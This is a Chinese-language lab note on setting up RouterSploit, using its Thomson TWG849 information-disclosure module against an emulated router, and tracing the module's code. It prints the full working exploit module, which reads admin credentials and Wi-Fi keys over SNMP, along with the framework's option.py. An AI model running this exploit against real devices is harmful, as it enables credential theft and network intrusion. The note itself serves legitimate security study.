---
# System prepended metadata

title: Routersploit

---

# Routersploit
之前有用過metasploit來打firmadyne架好的router，可是一直都沒有成功~

## Set
參考[這個](https://codertw.com/%E7%A8%8B%E5%BC%8F%E8%AA%9E%E8%A8%80/444191/)就可以了。照著裝應該沒有什麼問題，裝好之後就
```
cd routersploit
./rsf.py
```
然後就會長得像這樣
![](https://i.imgur.com/QnHzsxZ.png)
## Use
之後還有幾個本來就有的指令可以用，去爬文然後熟悉了一下~
- search
- use
- show
之類的還有一些，那大概熟悉之後，我就架了一個之前id=4004的firmware，名字是`NWA1121-NI_2.10(AABJ.0)C0.zip`，裝好之後，因為他有一個漏洞叫做**Thomson TWG849 Info Disclosure**，然後這個漏洞有被寫成一個script在routersploit裡面，所以就來用用看。
![](https://i.imgur.com/W2xs9s1.png)
大概解釋一下步驟
1. use exploits/routers/thomson/twg849
一開始應該要先search一下有沒有，不過因為我知道有，所以就不用search了，然後就可以去use他，基本上就是跟著目錄走，然後找到我們想要的那一個payload。
2. show options
進到`use_twg849`之後，就可以`show options`，然後看一下有什麼參數是我們需要加的，這邊的話，只有target的ip是我們需要告訴他的，記得之前在metasploit的時候，還要去set一些mipsel之類的~
3. set target 192.168.1.2
不解釋
4. run
好了之後就可以開始run了，這個洞可能沒有什麼太複雜的運算，所以一下子就跑好了，跑完之後他有說**exploit success**，然後就看他下面有個table，說了兩個info，一個是uptime一個是model。

## Trace
既然用了之後成功了，我就想說來trace一下他的code是怎麼寫的，如果自己可以把一個PoC寫出來的話會更好~

### twg848_info_disclosure.py
```python=
from routersploit.core.exploit import *
from routersploit.core.snmp.snmp_client import SNMPClient


class Exploit(SNMPClient):
    __info__ = {
        "name": "Thomson TWG849 Info Disclosure",
        "description": "Module exploits Thomson TWG849 information disclosure vulnerability which allows reading sensitive information.",
        "authors": (
            "Sebastian Perez",  # vulnerability discovery
            "Marcin Bury <marcin[at]threat9.com>",  # routersploit module
        ),
        "references": (
            "https://packetstormsecurity.com/files/133631/Thomson-CableHome-Gateway-DWG849-Information-Disclosure.html",
        ),
        "devices": (
            "Thomson TWG849",
        )
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(161, "Target SNMP port")

    verbosity = OptBool(False, "Enable verbose output: true/false")

    def __init__(self):
        self.oids = {
            # make, model, software version
            "model": "1.3.6.1.2.1.1.1.0",
            "uptime": "1.3.6.1.2.1.1.3.0",

            # web interface credentials
            "username": "1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0",
            "password": "1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0",

            # ssid and key
            "ssid1": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.32",
            "ssid2": "1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.32",

            # guest network oids
            "guest1": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.33",
            "guest2": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.34",
            "guest3": "1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.35",
        }

    def run(self):
        res = []

        print_status("Reading parameters...")
        for name in self.oids.keys():
            snmp_client = self.snmp_create()
            snmp = snmp_client.get("private", self.oids[name])
            if snmp:
                value = str(snmp[0][1])

                if value:
                    res.append((name, value))

        if res:
            print_success("Exploit success")
            print_table(("Parameter", "Value"), *res)
        else:
            print_error("Exploit failed - could not read sensitive information")

    @mute
    def check(self):
        snmp_client = self.snmp_create()
        snmp = snmp_client.get("private", "1.3.6.1.2.1.1.1.0")
        if snmp:
            return True  # target is not vulnerable

        return False  # target is vulnerable
```


### option.py
```python=

import re
import os.path

from routersploit.core.exploit.exceptions import OptionValidationError
from routersploit.core.exploit.utils import (
    is_ipv4,
    is_ipv6,
)


class Option(object):
    """ Exploit attribute that is set by the end user """

    def __init__(self, default, description="", advanced=False):
        self.label = None
        self.description = description

        try:
            self.advanced = bool(advanced)
        except ValueError:
            raise OptionValidationError("Invalid value. Cannot cast '{}' to boolean.".format(advanced))

        if default:
            self.__set__("", default)
        else:
            self.display_value = ""
            self.value = ""

    def __get__(self, instance, owner):
        return self.value


class OptIP(Option):
    """ Option IP attribute """

    def __set__(self, instance, value):
        if not value or is_ipv4(value) or is_ipv6(value):
            self.value = self.display_value = value
        else:
            raise OptionValidationError("Invalid address. Provided address is not valid IPv4 or IPv6 address.")


class OptPort(Option):
    """ Option Port attribute """

    def __set__(self, instance, value):
        try:
            value = int(value)

            if 0 < value <= 65535:  # max port number is 65535
                self.display_value = str(value)
                self.value = value
            else:
                raise OptionValidationError("Invalid option. Port value should be between 0 and 65536.")
        except ValueError:
            raise OptionValidationError("Invalid option. Cannot cast '{}' to integer.".format(value))


class OptBool(Option):
    """ Option Bool attribute """

    def __init__(self, default, description="", advanced=False):
        self.description = description

        if default:
            self.display_value = "true"
        else:
            self.display_value = "false"

        self.value = default

        try:
            self.advanced = bool(advanced)
        except ValueError:
            raise OptionValidationError("Invalid value. Cannot cast '{}' to boolean.".format(advanced))

    def __set__(self, instance, value):
        if value == "true":
            self.value = True
            self.display_value = value
        elif value == "false":
            self.value = False
            self.display_value = value
        else:
            raise OptionValidationError("Invalid value. It should be true or false.")


class OptInteger(Option):
    """ Option Integer attribute """

    def __set__(self, instance, value):
        try:
            self.display_value = str(value)
            self.value = int(value)
        except ValueError:
            raise OptionValidationError("Invalid option. Cannot cast '{}' to integer.".format(value))


class OptFloat(Option):
    """ Option Float attribute """

    def __set__(self, instance, value):
        try:
            self.display_value = str(value)
            self.value = float(value)
        except ValueError:
            raise OptionValidationError("Invalid option. Cannot cast '{}' to float.".format(value))


class OptString(Option):
    """ Option String attribute """

    def __set__(self, instance, value):
        try:
            self.value = self.display_value = str(value)
        except ValueError:
            raise OptionValidationError("Invalid option. Cannot cast '{}' to string.".format(value))


class OptMAC(Option):
    """ Option MAC attribute """

    def __set__(self, instance, value):
        regexp = r"^[a-f\d]{1,2}:[a-f\d]{1,2}:[a-f\d]{1,2}:[a-f\d]{1,2}:[a-f\d]{1,2}:[a-f\d]{1,2}$"
        if re.match(regexp, value.lower()):
            self.value = self.display_value = value
        else:
            raise OptionValidationError("Invalid option. '{}' is not a valid MAC address".format(value))


class OptWordlist(Option):
    """ Option Wordlist attribute """

    def __get__(self, instance, owner):
        if self.display_value.startswith("file://"):
            path = self.display_value.replace("file://", "")
            with open(path, "r") as f:
                lines = [line.strip() for line in f.readlines()]
                return lines

        return self.display_value.split(",")

    def __set__(self, instance, value):
        if value.startswith("file://"):
            path = value.replace("file://", "")
            if not os.path.exists(path):
                raise OptionValidationError("File '{}' does not exist.".format(path))

        self.value = self.display_value = value


class OptEncoder(Option):
    """ Option Encoder attribute """

    def __init__(self, default, description="", advanced=False):
        self.description = description

        if default:
            self.display_value = default
            self.value = default
        else:
            self.display_value = ""
            self.value = None

        try:
            self.advanced = bool(advanced)
        except ValueError:
            raise OptionValidationError("Invalid value. Cannot cast '{}' to boolean.".format(advanced))

    def __set__(self, instance, value):
        encoder = instance.get_encoder(value)

        if encoder:
            self.value = encoder
            self.display_value = value
        else:
            raise OptionValidationError("Encoder not available. Check available encoders with `show encoders`.")
```